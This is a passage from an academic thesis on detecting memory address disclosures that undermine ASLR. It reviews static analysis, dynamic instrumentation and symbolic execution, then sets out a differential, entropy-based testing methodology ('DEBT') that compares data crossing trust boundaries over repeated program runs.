but it is not enabled by default. ROP mitigations were first added in 3.5 and were extended in version 4.0.
A whitepaper from Bromium labs details ways of bypassing these mitigations (DeMott, 2014) as does a
paper on the exploitation site Dabbadoo (Dabbadoo, 2013), so unfortunately they are not a complete fix.
Microsoft have since released a further enhancement to the ROP mitigations in EMET 5.0; this was only
released in August 2014, so there has not yet been time for more detailed assessment of its effectiveness,
but more detailed information on EMET is available from Microsoft Technet (Microsoft, 2013b, 2014).
A more thorough analysis of the state of code-reuse defences is available in Skowyra et al. (2013), but
it is clear that code-reuse attacks are not about to disappear. The title from the paper Carlini and Wagner





The intention behind this chapter is to demonstrate that address disclosures are an important issue, that
their importance is increasing and that there is no foreseeable end to this. This is a difficult task to achieve
as their is no quantifiable data available to support these assertions and the lack of literature in this field
makes it difficult to place this in the context of other relevant research. This chapter has attempted to do
this by identifying areas where other researchers have touched upon the importance of disclosures and, by
combining this with a logical explanation of the field, using this to highlight the importance of this subject.
This is not as strong as other more direct research in the field could be, but hopefully this thesis could act
as a starting point in that chain. This chapter also makes the argument that disclosures are likely to stay
important by examining the literature around techniques which may affect this. This is valid to a degree,
but this argument is slightly weakend in this context as it is difficult to know what the corporations behind
much of the software infrastructure are developing and what they will choose to implement. This means
that these conclusions can not be completely conclusive, but does not mean they are not worthwhile.
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Chapter 4
Testing for Memory Problems
4.1 Introduction
To the best of my knowledge, there are no other papers on identifying all classes of address disclosures
(the paper Peiró et al. (2014) is probably the closest.), but there has been a considerable amount of research
performed on alternative and similar testing problems. This chapter is intended as an introduction to the
reader on how other researchers have approached and solved problems similar to the one presented here. It
is not intended as an exhaustive literature review, as the scope is too wide for this, but should help to set the
context for the approach taken in this thesis.
Testing just for security oriented memory vulnerabilities, such as buffer overflows, in C and C++
software alone is a very large field. Many classifications approach this by considering how much
information is known about the problem space; black box, white box and grey box testing strategies are
based on this, but for the problem in this scenario, where there are no techniques to compare against, this is
not such a concern; Bansal (2014) is an up to date paper that summarises different testing methodologies in
this manner if the reader is interested.
Similarly, much research has been done on how to generate data that is likely to trigger a vulnerability.
The data generation problem has been successfully approached from completely diverse angles. Fuzz
testing is a common technique where completely, or partially, random data is entered into an application to
see if it can trigger a vulnerability; similarly exhaustive data generation techniques which attempt to move
testing towards verification by generating all relevant data passes are starting to become a possibility as the
Microsoft tech report Christakis and Godefroid (2013) demonstrates. The problem with this approach is
that a method of identifying if a particular vulnerability was exercised is needed, which does not exist with
this problem.
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Problems that are similar to this one, include tracking invalidated user input into SQL statements or
into HTML code, or tracking the boundary inputs to check if invalid boundary sequences can be used to
access arrays or buffers. Most of the research in this field involves tracking the information flow from one
source to another, or calculating the possible flows of information. This chapter will cover three of the most
popular methods of doing this in the literature, it will also attempt to consider how these could be applied
to the current problem. It then discusses the way different techniques are merged together and finishes with
a few points regarding the application of these testing methodologies to the problem of identifying address
disclosures.
4.2 Static Analysis
Static analysis is the field of analysing the structure and logic of a program based only upon the program
source or binary. It is a very effective method of checking programs for properties and is widely used;
the warnings and errors created by compilers can be seen as a form of static analysis. Static analysis has
the advantage that it does not check a particular execution of a program, but properties of that program,
meaning it should be able to detect all instances of issues that it can detect, rather than those which
occurred during a particular execution. In addition it has the great property that it does not depend upon
triggering a vulnerability, so there is no data input problem. Unfortunately, many problems require some
state information and so static analysis can not always reason completely about that problem, meaning
either vulnerabilities are missed or there is a problem with false positives. Despite this issue, static analysis
has been used successfully on billions of lines of code (Bessey et al., 2010).
Static analysis of program binaries is often used in fields such as malware analysis, but can be extremely
limited. Where possible, static analysis is typically performed on program source code. This has several
disadvantages; the primary being that the source code is required. The other issue is that the source
code is not a complete dictation of how a program appears in machine code. Compiler optimisations
and undefined areas of the specification are both examples which could mean that the intended program
can not be inferred completely from the source code. A possible alternative is checking intermediary
representations of programs for correctness. Compilers such as those used in Java or the .Net framework
create an intermediary form of program called JavaByte code or MSIL respectively, and tools which check
these do not have to concern themselves with compiler peculiarities, but still have more information then
when analysing a binary directly.
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There are many different forms of static analysis and it is a field that has been studied for a long time
(Cousot and Cousot, 1977), but still appears to be very actively researched. It has also been applied to a
similar problem to the one addressed in this thesis.
Crit:Peiro
4.2.1 Peiró et al. (2014)
Static analysis is the approach taken in the paper Peiró et al. (2014) which is the closest research identified to
the problem discussed in this thesis. This attempts to look at a specific disclosure, that of uninitialised stack
data from the Linux kernel to the userspace environment. It takes the approach of using static analysis
of the kernel source code to determine leaks and specifically considers the importance of catching the
disclosure of addresses and stack canary information. The static analysis engine used (Lawall et al., 2009)
requires the definition of sinks, sources and taints and attempts to identify any information that goes from
a relevant data source, to a data sink where the taint property still exists. The authors define the data source
as un-initialised stack variables, the data sink as those functions which pass information back to userland
and the taint property to be ensured is that no initialisation or memset takes place. The static analysis
engine can then identify any areas in the source code which match those conditions. This is a much simpler
example than the more general one considered in this paper as it is so specific, but the approach taken has
both advantages and disadvantages. The biggest advantage is that it uses reasoning on the source code to
identify issues, rather than any run-time property. This means it should be able to identify all instances of
the problem rather than simply any instances that occured using a specific set of inputs. Ultimately, this
approach could be far superior to the dynamic aproach, but the limitations in the current implementations are
considerable. Static analysis engines can not reason well about state and so struggle when any conditional
operations take place or when the logic is dependant upon the contents of variables. This can cause many
cases of false positives as the engine can not reason if the program logic mitigates the problem and explains
why a manual review process is required. This is also the reason why the engine can only reason about
instances where the sink and the source are in the same function. This is a major limitation as any complex
program can pass state over potentially hundreds of different functions. This may be one of the reasons that
the vulnerabilities identified by this paper appear to occur mostly in device drivers as these are reasonably
simple and do not cross over many functional boundaries. Another issue with this approach is that because
it works on source code, it will not identify any issues caused by compiler optimisations or faulty code-
generation.
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These are limitations in the way the paper attempts to solve the problem it defines, which is a much
more limited one than the one in this paper. Despite these limitation this paper can still be considered as a
good contribution. It does highlight the importance of these disclosures, it does successfully find disclosure
vulnerabilities in the Linux kernel and it also acts as a solid base where improvements in the reasoning
engine can be built upon. As static analysis has so much future potential this is worthwhile.
4.3 Dynamic Analysis
Dynamic analysis is the field of analysing a program by monitoring a particular execution. This has several
immediate advantages and disadvantages. The biggest advantage this gives is that there is no requirement
to model or infer about an execution, there is a concrete instance of a program and its state to examine. This
gives an element of accuracy and simplicity that other techniques may not have. The biggest disadvantage
to this approach when compared to fields such as static analysis is that it only reasons about that particular
execution and anything that occurred during it; techniques typically do not infer more general properties
about a program based upon that execution. This means that actually forcing an issue to occur is critical and
so creating test data to exercise all of the required code paths, with the required state, is a major challenge.
The other challenge associated with dynamic testing is creating an environment where the program
execution can be monitored in a manner that does not adversely affect its behaviour. This is important as
the monitoring can hide issues or cause false positives to occur. Some software, particularly malware, has
also been known to have anti-dynamic analysis measures built in. The rest of this section covers different
methods of performing dynamic analysis and how authors have applied this to other memory vulnerabilities.
4.3.1 Dynamic binary instrumentation
Dynamic binary instrumentation is the field of altering and monitoring programs while they are being
executed and probably the most successful tool at enabling this is the Valgrind framework (Nethercote and
Seward, 2007). Valgrind is a set of tools which, together, enable an application to be executed on a virtual
environment. The application is converted into an intermediary language at run-time, which can then be
executed on a simulated processor. The toolkit provides a rich set of application hooks which tool writers
can use to intercept and track program state and calls. Valgrind is not the only tool to implement this kind
of heavyweight instrumentation (Lyu et al., 2014), but it is extremely popular; the paper Nethercote and
Seward (2007) has 1186 cites on Google Scholar∗ as of November 2014, it is used to test both the Firefox
∗Although not proof of the popularity of a tool, this is probably not a bad metric
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and Chromium codebases and, in 2014 alone, tools have been published which extend the framework to
execute on a CUDA environment (Baumann and Gracia, 2014), for profiling memory access patterns (Pena
and Balaji, 2014) and for performance profiling (Coppa et al., 2014) amongst others. As the binary of an
application is used, it has the advantage that it is operating against the final version of the software and so
also tests any compiler optimisations or specific build settings that might alter a program execution. It has
the disadvantages of having a large operating overhead and that the simulated environment may in itself
bring inaccuracies to the program execution. The default tool that comes with Valgrind is Memcheck and
the way it works could be relevant to testing for address disclosures.
Memcheck (Seward and Nethercote, 2005) works by keeping a bit of shadow memory for every bit of
memory used in the program. That bit, referred to as a V bit (for Validity), holds meta-data on the bit it
shadows. In this case whether the bit has been correctly defined. All operations in the virtual environment
which either define, or undefined areas of memory are instrumented so that the shadow memory of the
relevant bits are kept as accurate state representatives. In addition, any operation that uses one of these
values in a way in which the content of that variables could affect the “observable behaviour” of that
program is also instrumented and checks the corresponding V bit to ensure that it has been correctly
defined. This allows the reporting of errors for programs that use un-declared or un-initialised memory.
It allows this without the use of source code and taking into account compiler optimisations. This is an
excellent framework with demonstrable results and was one of the early areas that investigation into this
thesis took. It is possible that this could still be the basis of a solution to this problem, where, rather than
the V bit indicating that the address has been defined, it could indicate this holds an address, or the product
of an address and other calculations. The reasons the current idea was favoured instead was due to a few
drawbacks in the Valgrind framework. One is the large runtime overhead — the runtime overhead has been
recorded as 60 times, another was the requirement to identify every situation that generated an address,
but also that it was not obvious how a user could easily mark an interface as unsafe for passing memory
information.
Rather than use a simulated environment to inject code to instrument a program, another method is to
inject code directly into the executing process, which is the way the Pin framework works (Luk et al., 2005).
Pin is a framework which aids in creating tools which can inject code directly into an executing process.
It can do this in a manner which ensures that the application state is not altered in an observable way, by
automating tasks such as restoring register state. Similarly to Valgrind, it is not the only tool to work in
this way (Hiser et al., 2014) but is well referenced, with 2057 cites on Google Scholar†, and is still being
†As of November 2014
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actively used (Egele et al., 2014; Khan et al., 2014; Wei et al., 2014).
Pin has been used to perform dynamic taint analysis in applications; Zhu et al. (2011) instrument an
application to trace user input and then erases any that appear in a network or logs, Kim et al. (2009)
demonstrate it can be used to track tainted information from a source to sink even across inter-process
communications and Ganai et al. (2012) demonstrates its use across threads. Given this research it is very
possible that this method could be applied to the address disclosure problem, but they are not without
issues, tracking data created outside of the application or in libraries can be a problem, as can cross process
information sharing.
Although not strictly dynamic binary instrumentation, an alternative method of instrumenting an
application to keep track of application state using shadow memory is the method used by the tool
Address sanitizer (Serebryany et al., 2012). This tool, amongst others, uses an instrumented compiler
to inject additional code at compile time, which can perform the required instrumentation. This has been
instrumented into the Clang compiler and is used by many successful projects. Naturally this requires that
source code be available for the program under test. This still suffers from the requirement to identify every
source of a disclosure, and the act of instrumenting the program naturally means it is not the exact same
program being tested, but this could still be reasonable approach to solving this problem.
There are many other tools which are used for dynamically instrumenting programs which are also
used for taint-analysis. The DynamoRio framework (Bruening, 2004) is often mentioned alongside Pin
and Valgrind and was used very early on for taint analysis (Cheng et al., 2006) and new frameworks are
still being created. The PIRATE platform presented in Whelan et al. (2013) is designed specifically for
architecture agnostic taint-analysis, FlowWalker Cui et al. (2013) is designed to allow taint-tracing over
higher through-put applications and (Wang et al., 2013) is designed to bring dynamic binary instrumentation
to the ARM architecture. The fact that this is still an area of research that is ongoing, demonstrates that it is
not a solved problem, but it has been successfully applied and could be highly applicable to the disclosure
problem presented here. Where these tools are reliant upon tracing information from a source to an end-
point there are many potential issues that tools tend to suffer from. This can include issues with memory
state in external libraries, threads or other processes as well as problems due to the heavy overload involved;
other issues exist in specific applications such as browsers where the code to be monitored has not yet been




Symbolic execution is a method of executing a program symbolically rather than concretely, using
representative values which are later resolved to concrete values. First proposed in King (1976), it has
been a popular field of research which has recently seen a resurgence in interest.
Rather than testing a program with input a set to a concrete value such as 1 that value is given a symbolic
value v. As the program is then executed using symbolic values rather than concrete values, execution trees
are created with the different constraints required to execute that branch. At each of these stages different
properties of the program can be studied along with a representation of symbolic state at that time. A
constraint solver is then used to reason about the different program paths and to turn the symbolic values
into concrete values.
Many of the recent advances in symbolic execution involve merging symbolic execution with concrete
execution. Merging symbolic execution with other techniques is not a new concept and, as far back as 1988,
symbolic execution has been merged with techniques such as static analysis (Young and Taylor, 1988), but
DART (Godefroid et al., 2005) was the first influential paper that suggested using symbolic execution to
guide concrete execution and create exhaustive test coverage. Symbolic testing has always had issues where
it is difficult to resolve the constraints into concrete values and concolic testing (Sen and Agha, 2006) was
a method of combining symbolic and concrete execution together in a way which allowed concrete values
to be used in places instead of the symbolic values to overcome these issues.
Neither symbolic or concolic testing are in themselves methods of testing, but more methods of
generating sets of constraints based around program execution paths. It can be reasoned that if a variable
y is used to access an array z and the constraints around y means it could be anywhere in the range of
0 <= y < 10 and the array z has only 9 elements then this means there could be an invalid access to
that array. Combining this symbolic logic with other methods of identifying if a concrete input has caused
an error at runtime means that this technique can be used to test for many security issues. Wang et al.
(2009) used symbolic execution to test for integer overflows in binaries, Xu et al. (2008) looked for buffer
overflows, Xie et al. (2003) looks for invalid access to arrays and dereferenced pointers and more recently
concolic execution has been used to identify cross-site scripting vulnerabilities (Ruse and Basu, 2013).
Symbolic execution is a very large field and a large amount of research has been produced in recent
years; it has traditionally had the disadvantage of not being effective against large code-bases but this may
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be changing and is currently being used to identify different security vulnerabilities in large code bases, in
high profile commercial settings (Godefroid et al., 2012).
Sum:Test
4.5 Conclusions
This chapter was intended to introduce the reader to a few of the ways that other authors have looked at
problems which may be similar to this one, but the problem in this thesis, of detecting memory address
disclosures, is difficult as it is a highly contextual one. Regardless of the methodology used this needs to be
taken into account and it is not always clear how this can be done; a method of identifying and instrumenting
where data can and can-not be will likely always be required. The additional problem is that the code that
produces addresses may not be in the application directly, but could be in a library such as the standard
C library, it might only be available at a compiled level, or it may be JIT compiled during a programs
execution. This means additional scope, other than just the program or its source code, must be reasoned.
Having said this, there is no reason to suspect that these methods might not be suitable or applicable to the
problem here and may even be better solutions than the one suggested in this thesis, but as this work has
not currently been published and as there is currently no way of measuring the success of these techniques
this is hard to identify.
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Chapter 5
DEBT: A Differential Entropy-Based Testing
methodology
5.1 Introduction
The importance of memory address disclosures has already been covered in Chapter 3 and different methods
of identifying similar issues were covered in Chapter 4. This chapter introduces the “DEBT” methodology
for Differential Entropy-Based Testing. This is a key contribution and is novel and effective method
of solving this problem, developed specifically for this thesis. Comm1Some background on how the
methodology was formed and the consequences of that are given in section 5.2.The basic principles are
given in section 5.3, the methodology is explained in 5.4, the practicality of the methodology is discussed
in 5.5, the novelty behind DEBT is considered in 5.6 and the advantages and disadvantages of this
methodology compared to other approaches are discussed in 5.7.
Comm2
5.2 Approach taken
The problem statement given in the introduction to this thesis was “Address disclosures can be used to
bypass specific security mechanisms on many different platforms, yet there is no reliable way to detect
them”. To solve this problem, the framework in this chapter was devised. Before the framework is
introduced, this section will discuss the methodology used to derive this solution and how that methodology
affects the final output.
In “Basics of Software Engineering”, Juristo and Moreno (2010) ∗ discuss the “experiment and learning
∗This book is used as the basis for the experimentation stage and is introduced further then
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lifecycle” which is an iterative approach to defining a hypothesis. Using this approach, a hypthesis is formed
and a method of testing that hypothesis is decided. Facts are derived from that testing process which are
then used to refine the hypothesis. If the hypothesis was “Technique or methodology A can reliably detect
address disclosures” then it can be seen how this methodology can be used to refine and create solutions to
this problem. It would be nice to say that this methodology was studied before this stage was implemented
but this was not the case. Having said that, although the actual process followed during this stage was more
informal than the one given above, it still followed the same basic flow.
The approach taken consisted of the steps shown in table 5.1.
Step Action
1 Understanding the problem and background.
2 Review of how other authors have solved similar problems.
3 Derive possible idea for solving problem.
4 Attempt idea.
5 Either refine the idea and move to step 4, abandon it and move to step 3 or finish
Table 5.1. Steps followed in developing framework
After the problem was studied and any existing solutions or literature were understood, a review of how
other authors have solved similar problems was undertaken. The results of this are shown in the previous
chapters of this thesis, particularly in the testing chapter. An understanding of these helped to form several
initial ideas, each of which was attempted and abandoned. This was either because the ideas were quite
limited, because some initial experimentation showed that the idea was not very practical or because better
ideas came along and it was deemed too expensive in time to finish the initial idea; an example of this
was an early attempt to identify disclosures caused by the difference between the size of a buffer that was
requested and and the size that was received. More complete ideas were attempted, but abandoned when
hurdles were identified in creating those solutions; an example of this was an early attempt at using the
Valgrind framework to solve this problem. During most of these attempts several iterative cycles were
attempted in order to refine the idea before abandoning it in favour of a different method. This process
was repeated until an idea was continually refined enough that it solved the problem and the methodology
shown here was formed.
Although informally managed, this methodology still follows the general principles of iterative learning
defined above. The major difference being that the hypothesis was not always disproved by experimentation,
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but sometimes rejected for other reasons, or even accepted. This had an affect on the form of the final
solution. Early ideas which were rejected were not disproved and could still be valid; this is particularly
the case where ideas where rejected, not because of the form of the idea, but because the thinking behind
the idea at that stage was not developed enough. An example of this was the attempt to use Valgrind as a
solution; one of the reasons this was rejected was because the concept of a trust barrier (discussed later in
this chapter) was not yet fully defined. If this solution was attempted when the problem was understood
better, then the outcome may have been different. Another consequence of the methodology taken in the
development of this solution was that at times it was shown that the framework did work, but the cycle
was still repeated to optimise it. This has the consequence that the methodology can never be considered
complete as there is always the possibility of further optimisations that have not been considered before.
Despite these limitations, the approach taken here can be defined as appropriate on the basis that it achieved
a result, despite a lack of understanding of the problem at the start of this stage and some unrefined thinking
about the form that solutions must take.
5.3 Basic Principles
The idea behind the DEBT methodology is simple; if the data across a specific trust boundary is captured
over multiple executions of a program, and all of the elements that could cause a difference between the
runs is removed with the exception of ASLR, then any difference must be the effect of ASLR, and so is
an address disclosure. Similarly any release of information related to ASLR, will, with a very high degree
of probability, be different over several runs and so should appear as a difference between those different
runs. This methodology should also extend to other defences which are probabilistic in nature, such as
stack canaries. Due to the cumbersome nature of constantly referring to “probabilistic based mitigation
defences”, the methodology will be explained with reference to ASLR, but the principles should still apply
to any other defence that is based upon a randomly generated secret, such as stack canaries.
The principles behind this methodology are summarised in table 5.2.
5.3.1 Principle 1: Trust boundaries
Principle 1 is that a trust boundary can be defined where addressing information should not cross.
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Principle No Principle
1 A Trust boundary can be defined where addressing information should not cross.
2 The effect of ASLR over a trust boundary is a reliable indicator of an address
disclosure.
3 If all sources of entropy in a program execution are removed with the exception of
ASLR, then any entropy remaining must be due to ASLR.
4 Comparing multiple instances of data over a trust boundary will identify relevant
change between those program runs.
5 Combining these principles would allow for the identification of address disclosures.
Table 5.2. Principles behind DEBT methodology
The problem being analysed in this thesis is a difficult one as it is very contextual in nature. When
thinking about a programs machine code, it is obvious that the program needs to use and reference memory
addresses. The program needs to know where its own variables are stored and where code to be executed
is stored. It is nonsensical to simply prevent a program from using its own resources, however it is these
same resources which can prove to be a vulnerability. To identify which areas of a program can, or cannot
access memory addressing information a boundary is needed where this information should not cross. In
this thesis the terminology “trust boundary” is used as this border between valid and invalid exposure to
this information. The exact location of this boundary is likely to be specific to a particular technology or
program, but it will probably include any interfaces that could be used by external processes.
Table 5.3 gives examples of where this trust boundary could lie in different platforms or applications.
Application Boundary
Console Applications In any console application there is a natural trust boundary in the interface
between the program and the console; this is STDOUT and STDERR. There
should be no requirement for a calling program to need addressing information
to be passed over this interface, and, if it was, there is a possibility that a calling
application could abuse it.
Scripting Interfaces Many applications support a scripting interface, such as Microsoft Office or
Visual Studio. This is also a natural boundary as the scripts that are run,
should have no requirement to use addressing information from the main
application. This information can be used to subvert by a document such as
a Word document.
.Net Code libraries It is not just full applications that have natural boundaries, a code library also
can have a natural boundary at the interface between the library and the calling
code. With managed code libraries such as a C# library this information should
be hidden from the calling program and can be used to subvert the purpose of
the library.
Table 5.3. Example of trust boundaries in different applications or technologies
The definition of where these trust boundaries lie will be application specific, but many will be shared
across applications and so will be easier to test. Regardless, time needs to be spent for the existing code to
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be investigated to define where these boundaries lie. This is not just the case for this methodology but also
the case for any other techniques which would face the same contextual barrier.
5.3.2 Principle 2: ASLR as an indicator address disclosures
Principle 2 is that the effect of ASLR over a trust boundary is a reliable indicator of an address disclosure.
This principle is dependent upon the dual elements that identifying the presence of ASLR indicates a
memory address disclosure and that a memory address disclosure will be signified by the presence of ASLR.
The first element here is that the presence of ASLR indicates a memory address disclosure; although it
is not true that any sign of ASLR indicates a full disclosure, any sign of ASLR will indicate at least a partial
disclosure as the sign itself must be at least some information. This is a good definition as it is desirable to
eliminate all tell-tale signs. An example might be a hash which has been made from an address pointer, this
is not a full disclosure, but, dependent on how the hash was made, might be enough information to vastly
reduce the set of possible values the address could be, increasing a possible exploitation rate.
The other element is that a memory address disclosure will be signified by the presence of ASLR. If
ASLR is not applied to an address, then naturally this principle will not work and this methodology would
not be applicable. Under these circumstances, the address is not as valid to an attacker as it could be
known before-hand and so is not so strong a vulnerability. The other issue with this principle is that, as
ASLR is probabilistic based, it is always possible that multiple uses of ASLR would give exactly the same
result. The probability of this depends upon both the number of distinct values and the distribution of those
values in that source of unpredictability. Given a field such as ASLR, where the distribution of values
should be reasonably consistent, this is reliant upon the number of different possible values. According to
the Symantec whitepaper Whitehouse (2007), early implementations of ASLR on Windows only had 256
different possible values, meaning that (given an even distribution) 255 out of 256 disclosures should be
identified with only two program executions. Given a more up-to-date implementation of ASLR with 24
bits of entropy and the possibility of multiple executions, this is a rapidly diminishing possibility, but it can
never guarantee that all disclosures will be identified, only that it is extremely likely that all disclosures
would be identified. It is a requirement of the user to decide how reliable the technique needs to be and
implement the relevant number of passes to achieve that requirement.
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5.3.3 Principle 3: Using entropy as an indicator of ASLR
Principle 3 is that if all sources of entropy in a program execution are removed with the exception of ASLR,
then any entropy remaining must be due to ASLR.
Although it has very specific definitions in fields such as thermodynamics and information systems,
entropy is typically used as a term meaning a quantifiable measure of disorder or randomness. In this thesis
entropy is used in this context as a measurable amount of unpredictability. In this context ASLR is in itself
a source of entropy, as it introduces an area of unpredictability into a program’s execution. It follows that
if all other sources of entropy, other than ASLR, are eliminated, then any entropy left must be the product
of ASLR. This is simple logic. In practice there are many sources of entropy that could never be removed,
but only those which effect the output over the trust boundary are important. As most sources of entropy,
such as thread timing, should be invisible to a calling process, this should mostly be a practical possibility,
but if this is not then, depending upon the false positive rates, this framework may not be applicable to that
particular problem application.
5.3.4 Principle 4: Trust boundary data comparison
Principle 4 is that comparing two instances of data over a trust boundary will identify relevant change
between two program runs.
It is only data that is passed over a trust boundary that is relevant to this thesis, and given a method of
capturing this data, any relevant disclosure must show in that data capture. If the data passed over that trust
interface was different for multiple runs, then there must be a source of entropy in the program execution
and comparing the data captures would identify this.
5.3.5 Principle 5: Principles can be combined
Principle 5 is that combining the other principles together would allow for the identification of address
disclosures.
Given a trust boundary, as defined in principle 1, where information on one side should not be exposed
to the other side and given the ability to record all of the data passed over that boundary, then that recording
must contain any disclosure that occurred. Given principle 2, if an address disclosure was present then the
effect of ASLR would be captured in the output and should be different over enough captures. If these are
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compared, according to principle 4, then any difference must be due to a source of entropy and if all sources
of entropy were removed other than ASLR then, according to principle 3, that change must be due to ASLR
and so, due to principle 2, must be an address disclosure.
The individual principles given in this section define the core idea behind the DEBT methodology. The
methodology itself is given in detail in the next section.
5.4 Methodology
The Differential Entropy-Based Testing methodology can be summarised quite succinctly. The data over
the trust boundary should be captured and compared over multiple runs of a program. If the results were
the same then no disclosure occurred. If the results were different then either there is a source of entropy to
be eliminated from the test, or a disclosure was identified.
This can be separated into the steps shown in the flowchart in figure 5.1 and are explained here.
Step 1: Identify trust boundaries.
The first thing that should be done is to identify the trust boundaries that should be tested. This may
be obvious for cases such as console applications, but maybe more complex for custom applications
or components that are intended to be distributed.
Step 2: Implement trust-boundary capture mechanism.
After the boundaries are defined, a method of capturing and storing the data that flows through that
boundary is required. This needs to be in a format that can be accessed externally to the program
so that it can be compared later.
Step 3: Define the input to the test.
The input to the test needs to be defined. This should be designed to execute different paths in the
program in an attempt to trigger a disclosure. The generation of this data is a field of study on its
own basis and is not covered in this thesis.
Step 4: Execute Program.
The program should be executed with the inputs defined in step 3. The data captured over the trust
boundary should be captured and stored.





Fig. 5.1. Flow-chart depicting the steps involved in implementing the DEBIT methodology.
The program should be re-executed with identical inputs as the previous test. The data captured
over the trust boundary should be captured and stored.
Step 6: Are captures different?
Compare all of the captures performed so far. If they are all identical then it needs to be decided if
an additional capture should be performed which is step 11. If they are different then the nature of
the difference needs to be examined which is step 7
Step 7: Is difference due to ASLR.
At this stage the captures have been shown to be different, so the source of that difference should
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be investigated. If it is due to ASLR, a disclosure has been identified. The test can be continued by
ignoring this result to look for other vulnerabilities, or it can be terminated here.
Step 8: Identify entropy.
It is now clear there is a difference in the outputs, but it is not due to the affect of ASLR; so the
source of the entropy needs identifying.
Step 9: Eliminate source of entropy.
Having identified the source of the entropy that caused the difference over the trust boundary, a
mechanism should be implemented to eliminate it.
Step 10: Repeat Test.
With that particular source of entropy removed, the test can be repeated to identify if any other
differences occur. It can be repeated with the current input data, which means jumping to stage 6.
Step 11: Is result reliable enough
If the results are the same it needs to be determined if the risk of this happening by chance is
deemed acceptable.
Step 12: No Disclosure Occurred.
At this step, the data over the trust boundary was identical for all of the captures implemented and
it was determined that the probability of this being a disclosure was small enough to finish that test.
Step 13: Disclosure Occured
This stage should indicate that a disclosure has been successfully identified.
This is the workflow for the DEBT methodology, the practical aspects are covered in the next section.
5.5 Practicality of Methodology
The theory behind the methodology has now been outlined, as has the basic workflow which should be
followed. This section discusses the practical elements that are involved in actually implementing it.
5.5.1 Recording data flow over a trust boundary
The most application specific part of this technique is recording data that passes over the trust boundaries.
This is more feasible than it may at first appear, as the trust boundaries are typically available to be called
from a user application, but it may be that there is a consideration to be made over how difficult it is to
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define and record data over a boundary compared to the usefulness of recording that boundary. The two
primary methods of recording this data are by capturing the data directly from the application, or modifying
the application to record that data.
In many circumstances it is possible to directly capture the data passed over an interface, without any
requirement to alter the program. This may be done by using techniques such as re-direction on the console,
it may be done using application specific functionality, or even by custom functionality in the test input.
Examples are given in the table 5.4.
Application Capture Method
Console Application Capturing the output from a console application is relatively simple using file
redirection. All of the data over a stream such as STDOUT can easily be re-
directed to a file, rather than the console.
Web Browser The interface between the internals of a web-browser and the source code for a
web-site, after it has been processed by the browser is a natural trust boundary.
No web-site or script should be able to view memory address information
internal to the browser and this should never appear in the sites-source code. This
can be captured easily using the view source functionality on most browsers, and
also by examining the contents of the documents object model. To automate this
it is possible to use automated platforms to view the code and record it to a file.
Library code If the interface to a library is being tested then a test harness is required to call
the library code. This harness can easily output to a file all of the data passed to
and from that library.
Table 5.4. Examples of direct capture of data over a trust boundary
The other solution to capturing the data passed over a trust boundary is to modify the application itself.
This may be the easiest solution depending upon the availability of the source code and the simplicity of the
trust boundary implementation. This approach was taken in the experiments chapter in order to instrument
the XPATH interface in Chromium to record all information that was passed over that interface, not just
the information that was stored in the document afterwards. This was a relatively simple code change to
output the data over the interface to STDERR which was then redirected to a file, however identifying the
correct code to be modified may or may not be simple. Although it would first appear that this approach
is restricted to those circumstances where source code is available, the existence of frameworks to alter an
application at the binary level, developed in order to implement instrumentation such as this (Luk et al.,
2005), means this may not necessarily be the case.
57
5.5.2 Big bang or iterative approach
There is a choice to made as to how to implement the principles behind this technique. Although the
workflow given above describes an iterative model for identifying any un-desired source of entropy, it is not
the only possible method. The big bang approach, where an application is studied and all of the differences
are identified up front and catered for, was the first approach taken when exploring this methodology and
may be the most practical for some scenarios, particularly where sources of entropy are common and
obvious. In practice however, the iterative approach turned out to be more useful, at least in the testing
done during this thesis. In this approach the technique was executed until it come up with a positive. That
was then examined to see if it was a true or false positive and if it was a false positive the source of that
execution difference was traced and then eliminated. The reason this turned out to be more productive was
that there was much less difference between runs than was originally expected and the number of false
positives was very low. For this reason, the iterative approach has been defined in the workflow, rather the
than the big bang approach, but when implementing the methodology this is purely a personal choice.
5.5.3 User inputs
In order for this technique to work, it must be run with exactly the same inputs each time. In most
circumstances, user input to an application is simply a case of loading a document or of input to a console
and is mostly easy to replicate. Sometimes this may take a little more engineering than would first appear
to be the case. An example is loading a web-site; sometimes web-sites show a different page for every view
as they load a different advert. Circumstances such as this involve downloading the entire page to a local
store and testing from this. Even using tools such as WGET(Niksic, 1998) to download a page and all of its
dependencies do not always make the input identical, but there are pre-built testing applications designed
to do exactly this such as the application web-page-replay (GitHub, 2014). It is also important to remember
those less obvious user inputs that might not be direct from user; examples of this for the web-browser
might include the cache or cookies, which also need to be identical.
It may be that it is not possible to create completely identical inputs. One instance that may not be
possible, is where the timing of user input is absolutely essential. An example here is the entropy creation
part of some encryption software where the timing of mouse movements is used to create a unique key.
There are applications designed for software testing which will re-create user input, however it is unlikely
the timing will be exact to the degree that may be required for this very limited class of applications.
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5.5.4 Mechanism for eliminating sources of entropy
It is important to eliminate the other sources of differences between executions. The obvious sources of
differences between runs are time and date functions and random functions. There are several methods
for eliminating these, one is to replace these functions in the library they are implemented in so that a
custom version is called, an example of this is altering the C standard library to replace the standard
functions. Another method of doing this, which was used in the early testing for this thesis, is to use
the LD PRELOAD environment variable in Linux, to redirect function calls to alternative versions. A
framework was implemented which intercepted all of the calls to the date, time and random functions of a
program using the LD PRELOAD environment variable. The custom version of these libraries worked in
two ways, a recording setting and a replay setting, dependent upon an environment setting. In recording
mode the library simply called the native version of the called function but, before it returned the value
to the calling function it stored the value in a datastore. In replay mode it intercepted the function calls
and returned the equivalent call from the first run. This meant the first run was a completely accurate and
un-compromised execution, and subsequent executions were identical to the first. In practice it turned out
to be easier, in most circumstances, to simply return a hard-coded date or value as it did not affect the
functionality of the application. The open-source project web-page-replay (GitHub, 2014) manages this by
controlling the seed values for the random and date functions.
Considerable work is done in other fields for eliminating more difficult to resolve sources of entropy,
such as thread timing so the ability to execute programs completely deterministically is becoming more of
a possibility (Cui et al., 2010; Bergan et al., 2011). In practice it may be more practical to simply check
more iterations of the capture.
Considerable work is being done on methods of ensuring that applications can be executed
deterministically, so this may change (Cui et al., 2010; Bergan et al., 2011).
5.5.5 Number of captures required
It has already been mentioned that this technique is reliant upon the probability of two disclosures having
different values. This probability depends on the range of possible addresses and the distribution of
addresses within that range. It can only be assumed that addresses are reasonably well distributed amongst
the address space and so only the range of values is considered here. This is not as easy to calculate as may
first be assumed, as low end bits are not always used due to page alignment or other optimisation issues.
The implementation of ASLR used in “On the effectiveness of Address Space Randomisation” (Shacham
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et al., 2004) shows 3 different areas of memory as being affected by ASLR and these having 16 or 24 bits of
entropy. This gives a worst case probability of two successive addresses as having the same value as 1 in 216
or 1 in 65,536. Even given this limited implementation the chances of an address appearing the same over
